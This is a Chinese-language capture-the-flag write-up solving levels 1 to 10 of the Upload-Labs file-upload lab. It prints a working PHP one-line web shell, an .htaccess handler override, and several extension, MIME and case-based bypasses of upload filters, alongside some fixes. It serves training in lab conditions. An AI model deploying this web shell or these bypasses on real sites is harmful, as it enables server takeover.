CTF | Upload-Labs-Linux Writeup


Check Upload-Labs-Linux on BUUOJ.

后记:不建议做,靶场环境应该用 Windows 的。

Pass-01

确定网站使用 PHP 后,生成 PHP 一句话木马,这里用中国蚁剑来通信。

<?php @eval($_POST[12])?>

生成了密码为 12 的一句话木马。下面就是把木马上传了。

提示说浏览器会检查上传文件类型,那么我们有下面几种办法:

1. 客户端对 JS 下手脚

具体方法很多,比如浏览器插件屏蔽等。

这里我们选择直接修改 JS 。

打开浏览器开发者工具,定位到 JS 位置。

直接修改并上传木马即可,复制上传后的文件链接到中国蚁剑中成功渗透,在 /flag 得到 Flag 。

2. Apache 文件解析漏洞绕过验证

或者我们可以尝试不用绕过本地客户端验证,直接上传木马。

将木马文件名称改为 vul.php.jpg 后成功上传,复制上传后的文件链接到中国蚁剑中成功渗透。

原理解析

网站使用 Apache 作为中间件,在红框部分设置了对 .php 文件的处理策略。

但是 AddHandler 的匹配是任意位置的,也就是说只要在文件名中包含 .php 就会被解析为 PHP 文件去执行。

修复方法

使用 SetHandler + 正则 来设置处理策略。

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

Pass-02

本 Pass 会在服务端检查数据包 MIME 。Pass-01 的第二种方法仍然可以正常使用。

使用 Burp Suite 修改 MIME-TYPE

鉴于大部分 MIME-TYPE 为浏览器(即客户端)所提供的,因此可以通过修改浏览器的请求来实现上传。

这里使用 Burp Suite 来修改,首先打开 Intercept ,然后上传 PHP 木马文件。

Content-Type 即为浏览器为该文件设定的 MIME-TYPE,改为 image/jpeg 即可上传木马。

原理解析

PHP 中 $_FILES[...]['type'] 可以由客户端任意指定。

修复方法

不要使用 $_FILES[...]['type'] 的 MIME-TYPE 来判断文件类型。


Pass-03

限制了 .php 等扩展名的上传,并且上传后会更改文件名。

更改扩展名

PHP 文件不仅只有 .php 一种格式,.php3 .php4 .php5 .php7 等扩展名均能作为 PHP 文件解析。

将木马改名为 vul.php3 后正常上传并渗透。


Pass-04

Pass-03 加强版,但是移除了更改文件名的限制。Pass-01 的第二种方法仍然可以正常使用。

.htaccess 文件绕过

.htaccess 文件是 Apache 服务中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮助我们实现:网页 301 重定向、自定义 404 错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。

既然该 Pass 没有限制对 .htaccess 文件的上传,我们可以先将木马改为 .jpg 格式上传后,上传 .htaccess 文件更改访问策略从而进行渗透。

上传完木马后我们编写 .htaccess 文件并上传:

<FilesMatch "vul.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

P.S. 或者使用通配符对所有 .jpg 文件生效。

蚁剑中地址改为 .../vul.jpg 后成功渗透。


Pass-05

本 Pass 在 Pass-04 的基础上增加了对 .htaccess 的限制。

本来应该是用 .user.ini 渗透的,但是不知道为什么 BUUOJ 的 Upload-Labs 在 upload 目录下没有 readme.php,因此作罢。

将后缀名改为大写 .PHP 后上传成功。

不知道有什么更优雅的方法?


Pass-06

本 Pass 在 Pass-05 的基础上增加了大小写验证。

如果是 Windows 环境下的靶机,可以用 .php (拓展名后加空格)绕过。

Linux 环境下的靶机好像没有什么办法?


Pass-07

Pass-01 第二种方法可过。其他方法 Linux 环境下难以实现。


Pass-08

Pass-01 第二种方法可过。

Windows 环境下使用 ::$DATA 截断也可过。


Pass-09

Pass-01 第二种方法可过。


Pass-10

后端会将 .php 全部替换为空字符串,但是该替换只进行一次。

所以我们可以构造一个后缀名 .pphphp (注意:只会替换中间的”php”)上传后即可得到 .php 进行渗透。


Pass-11


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注